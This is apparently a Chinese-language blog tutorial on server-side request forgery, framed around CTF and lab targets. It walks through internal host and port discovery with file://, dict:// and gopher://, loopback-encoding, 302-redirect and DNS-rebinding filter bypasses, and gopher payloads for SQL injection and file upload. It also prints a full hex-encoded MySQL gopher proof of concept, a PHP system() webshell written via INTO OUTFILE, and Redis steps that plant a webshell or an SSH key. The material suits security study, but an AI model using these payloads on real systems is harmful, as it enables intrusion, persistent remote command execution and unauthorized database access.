0x01 SSRF前置知识--NAT
NAT端口映射
先来看一组设置好的服务器映射,根据这个规则分析一下NAT端口映射过程。如何从一台ip是公网的主机,访问内网资源呢?

从这张图里面看出,当PC主机发送一个目标ip是222.180.123.10包,被中间的防火墙接收到后,会自动将目的ip改为172.16.0.253。同样端口8086,也会被改为80端口。这样就完成了端口映射操作

静态NAT地址转换
一个内网ip配置了一个固定公网ip,永久映射

外部设备访问,防火墙公网ip时,流量会自动转发到内网
静态NAT地址转换不涉及到端口,这是和上面讲到的NAT端口映射一个很关键的区别
0x02 SSRF漏洞原理

现在攻击者可以直接访问到主机A,但是B主机由于是内网主机或者防火墙的原因,攻击者无法直接访问。那么这时候,攻击者就对A说,你去把B的信息给我获取过来。利用A获取B的信息,这一过程就是SSRF
SSRF漏洞利用:通过服务器A,访问A所在内网的其他服务器
0x03 SSRF信息收集
SSRF可以使用一系列伪协议进行信息收集
一.file伪协议(查找内网存活主机)
从文件系统中获取文件内容 格式为file://[文件路径]
file:///etc/passwd 读取文件passwdfile:///etc/hosts 显示当前操作系统网卡的ipfile:///proc/net/arp 显示arp缓存表(寻找内网其他主机)file:///proc/net/fib_trie 显示当前网段路由信息
这里介绍一下这两个目录里面存放的主要内容: /proc目录:是虚拟文件系统,并非真实的磁盘文件,由内核动态生成,用于提供系统内核和进程的实时信息。
-
1.系统信息:CPU、内存、硬件设备(如
/proc/cpuinfo、/proc/meminfo) -
2.进程信息:
/proc/[PID] -
3.内核参数:
/proc/sys可查看内核运行时的参数 -
4.网络相关状态:
/proc/net/etc目录:存放系统级和应用程序的配置文件 -
1.系统配置:用户账户(
/etc/passwd)、主机名(/etc/hostname)、软件包管理配置(/etc/apt) -
2.服务配置:网络(
/etc/network)、SSH(/etc/ssh/sshd_config) -
3.全局变量: 环境变量(
/etc/environment)
好,接下来,拿出一个实例,来剖析一下如何通过file伪协议,收集内网的其他存活主机ip信息
-
1.file:///etc/hosts 通过这段命令可以得到

这一段表明这个主机有两个网卡,那么这两个网段就是172.250.250.0和172.251.251.0
-
2.当有了网段,我们就可以使用
/proc/net/arp寻找内网其他主机。使用arp协议扫描的好处是,不管某个主机是否有防火墙,是否开启了某个策略,只要是工作在ip协议下的主机都会被扫描出来

但是当我们输入file:///proc/net/arp发现内网只有3个主机吗?这也太少了吧?这其实是因为只有该主机与其他主机成功通信时,才会产生对应的arp表。
我们这里可以尝试访问内网中的所有ip,比如访问172.250.250.0这个段,掩码为24,也就是从ip地址为172.250.250.1-172.250.250.254都访问一遍,最后就可以得出完整的arp表,进而能够完整的收集到存活主机
这里举一个例子,在SSRF处输入一个http://172.250.250.6,此时二者便建立了通信,进而收录到了arp表中
然后再执行file:///proc/net/arp会发现多了这条ip

如果想访问所有ip,使用bp进行爆破就好了
二.Dict伪协议(查看内网主机开放的端口)
dict://伪协议,由于响应速度非常快,所以常被用于扫开放的端口。
下面来简单介绍一下dict://伪协议扫描端口的原理
手动测试客户端:发送curl -v "dict://target.example.com:22"服务器:如果端口开放,就会返回特有的欢迎信息
这里扫描也用到bp的爆破模块,不过区别在于,这里需要设置两个变量,一个是ip的主机位,一个是端口号。所以这里用到的爆破模块是Cluster bomb

根据返回的Length来判断端口是否开放
三.Http协议(目录扫描)
依然是爆破扫描,结合目录字典。字典可以用kail中自带的:/usr/share/wordlists/dirb里的common.txt
四.gopher伪协议
gopher伪协议是http协议的前身。利用范围广:可以以数据流的形式,进行【GET提交】【POST提交】,并且可以对【Redis】【Fastcgi】【sql】进行攻击
gopher伪协议的格式是gopher://<host>:<port>/提交的内容>
这里我开两个linux命令行窗口,来做一下gopher的演示:
第一个主机,监听端口

第二个主机,执行gopher伪协议

这时来看看第一个主机,发现已经监听到了

这时我们发现,我们传入的内容不是123吗?为什么监听到的只有23?这是因为gopher请求不转发第一个字符,所以平常使用时,要在最前面添加一个填充位,比如_123
gopher伪协议中的GET提交格式:在HTTP协议中,GET提交的格式为
GET /name.php HTTP/1.1HOST:172.250.250.4
这里需要注意一点,在HOST下面有一段换行,这是格式的规范那么gopher提交GET的格式就是gopher://172.250.250.4:80/_GET%20/name.php%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A这里有一个便捷的方法:先在记事本上写出,GET提交的格式,然后复制到bp里面,再进行两次URL编码


两次解码的原因是:攻击者先以URL编码格式发送给A主机,A主机进行一次URL解码。然后A主机再以URL编码格式发送给B主机,B主机再进行一次解码。总共两次

gopher伪协议中的POST提交格式
需要保留头部信息:
1.POST2.Host:3.Content-Type4.Content-Length
剩下的和GET提交相同
0x04 SSRF之环回地址绕过
当做CTF题的时候,经常遇到flag在127.0.0.1的某个目录之下,但是当输入127.0.0.1的时候,会被过滤掉,这里就介绍几种绕过姿势
127.0.0.1 点分十进制0b01111111000000000000000000000001 数据包中实际是32位bit二进制,没有点017700000001 八进制0x7F000001 十六进制2130706433 十进制(不是点分)
这是转换后的结果

就用一下这几种形式获取flag

0x05 SSRF之302重定向绕过IP限制
含有SSRF的主机为了防止访问内网,在代码里面设置了一些限制,比如输入私网地址(127,192等),就会把这些数据过滤掉。此时我们可以使用302重定向的方式,进行访问

接下来,聊一下构造302重定向的方法
现在在有公网ip的服务器里面写一段php代码
<?phpheader('Location: http://127.0.0.1/flag.php');
把这段代码放入index.php文件里面,然后起一个php监听服务
php -S 0.0.0.0:7777

然后在SSRF处输入
http://公网IP:7777/index.php
0x06 DNS重绑定绕过
刚才提到的302跳转,有没有防御手段呢?有的,以下是防御过程
1.解析目标URL,获取Host2.解析Host,获取Host指向的IP地址。如果是一个域名,会先进行DNS解析,解析出来ip3.检查IP地址是否指向内网地址4.对于合法IP会服务端请求URL,此时又会进行一次DNS解析5.如果有跳转,拿出跳转URL,重新执行第一步
这个过程一共有两次DNS解析,第一次DNS解析是检查URL合法性的,第二次DNS解析是为了访问URL。借助的是第二次的时间差,产生了漏洞

这里还涉及到改变DNS绑定的ip机制TTL:域名和IP绑定关系的Cache存活最长时间这里推荐一个国外的网站http://lock.cmpxchg8b.com/rebinder.html,能自动生成一个TTL几乎为0的域名
第一个位置输入公网ip,第二个位置输入想要访问的私网ip

此时已经生成了一个域名,然后在含有SSRF漏洞的位置,复制进去
http://b7137b66.7f000001.rbndr.us/flag.php
就能够得到flag
0x07 使用SSRF进行SQL注入漏洞利用
payload构造
GET提交:
和正常的SQL注入一样,只是需要把空格进行一次URL编码%20
http://xxx/?id=-1'%20union%20select%201,2,3--%20
POST提交

在bp的POST提交表单位置替换掉,再进行两次URL编码即可

0x08 SSRF进行文件上传漏洞利用
文件上传的头部信息多了一部分:
这里的content-type是:multipart/form-data;boundary=----abcd...
abcd...是一个分隔符,后面上传的每一部分,都需要用这个来分割,这里举一个例子:

好了,看一下使用gopher构造的伪协议所需payload
传入gopher的名称是要根据源代码查看

POST /index.php HTTP/1.1Host: 192.168.2.1Content-Type: multipart/form-data; boundary=----abcContent-Length: 305------abcContent-Disposition: form-data; name="upload_file"; filename="phpinfo.php"Content-Type: image/jpeg<?php phpinfo();?>------abcContent-Disposition: form-data; name="submit"上传------abc-- //这里末尾的--表示结束
在有SSRF漏洞处输入gopher://172.250.250.14/_
然后bp拦截抓包,把上述payload复制到后面,并且进行两次URL编码即可

之后在返回包里看到了

访问一下,测试有没有上传成功
0x08 使用SSRF对mysql进行未授权查询
这里的未授权指的是内网的mysql没有设置密码,并且还允许用户通过网络连接到数据库。
这里我们通过wireshark抓包的方式,在本地演示一下
由于mysql在本地,使用wireshark监听本地的回环接口(Adapter for loopback)

再设置一下规则,保留3306端口
随后在我们的数据库中输入一段命令

返回wireshark,追踪TCP流

里面有两种颜色

红色的代表我发给mysql服务器的,蓝色的代表mysql服务器发给我的。那么构造的poc,就是要红色部分,我们发出去的

先过滤,只保留红色的,然后切换到原始数据。
对于上面的这一段代码,我们需要做一下处理。
首先去掉换行符
c400000185a6ff0100000001210000000000000000000000000000000000000000000000726f6f740014d053076c98a299a408352a9a92cf68fec54b8a4b6d7973716c5f6e61746976655f70617373776f72640073035f6f730557696e36340c5f636c69656e745f6e616d65086c69626d7973716c045f7069640435393332075f746872656164053134393336095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0f5f636c69656e745f76657273696f6e06352e372e32360f0000000373686f7720646174616261736573
然后每两个字符为一组,再前面加上%
%c4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%14%d0%53%07%6c%98%a2%99%a4%08%35%2a%9a%92%cf%68%fe%c5%4b%8a%4b%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%73%03%5f%6f%73%05%57%69%6e%36%34%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%35%39%33%32%07%5f%74%68%72%65%61%64%05%31%34%39%33%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%36%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73
构造的POC:
gopher://要攻击的ip:3306/_%c4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%14%d0%53%07%6c%98%a2%99%a4%08%35%2a%9a%92%cf%68%fe%c5%4b%8a%4b%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%73%03%5f%6f%73%05%57%69%6e%36%34%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%35%39%33%32%07%5f%74%68%72%65%61%64%05%31%34%39%33%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%36%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73
这种格式还可以使用工具来构造
https://github.com/tarunkant/Gopherus
只需要提供数据库名和查询语句即可自动生成
0x09 使用SSRF对mysql未授权文件写入
全程用工具构造即可
记录下mysql未授权文件写入的步骤:
1.查看是否有写入权限:show variables like 'database_name'
2.写入一句话:select "<?php system($_GET['cmd']);?>" into outfile '/var/www/html/cmd.php'
使用into outfile生成cmd.php文件并且写入一句话
0x10 对Redis未授权写入webshell
redis和上述的mysql格式不一样,我们再用wireshark分析一下
当我们执行了set payload "<?php phpinfo();?>"
用wireshark查看一下

解释一下:
*2表示命令有2个参数
$3表示这个参数有3个单词
把红色的复制下来

现在需要做的是把所有的换行符(\r\n),都给换成%0d%0a。然后用gopher伪协议传输即可
有了上面的传输方法,就可以看看webshell的传输步骤了
1.连接redis:redis-cli -h ip
2.设置web路径:config set dir /var/www/html
3.设置shell文件名:config set dbfilename info.php
4.向数据库插入payload:set payload "<?php phpinfo();?>"
5.保存webshell:save

现在拿ssrf靶场试一下,首先要检测一个网站有没有开通redis服务,redis的默认端口是6379
在ssrf处输入dict://172.250.250.1:6379/info 如果开通了redis服务,就会出现redis信息

然后结合上述步骤写入webshell
或者这里直接使用gopherus工具,自动生成

0x11 对redis未授权ssh写入公钥
如果对方主机开启了ssh,可以尝试写入ssh公钥文件,从而直接ssh登录,不再需要密码
1.在kail上生成私钥对:ssh-keygen -t rsa
生成的文件会在/root/.ssh这个文件夹下面

id_rsa是私钥
id_rsa.pub是公钥,我们要的是公钥
2.写入ssh公钥,这里我们拿上面的格式,做一些修改即可


但是如果只是这样的话,会发现上传不成功
主要原因是,不管上传什么,放到redis里面都会在前面和后面增加一串其他字符,当增加完这些东西后,公钥的结构就会发生变化,无法正确解析

那么构造payload时候,可以增加两行换行符

在$这里要注意长度,一行其实只相当于一个字符,并不是/r/n,
上传成功后

登录不再需要密码

801

被折叠的 条评论
为什么被折叠?



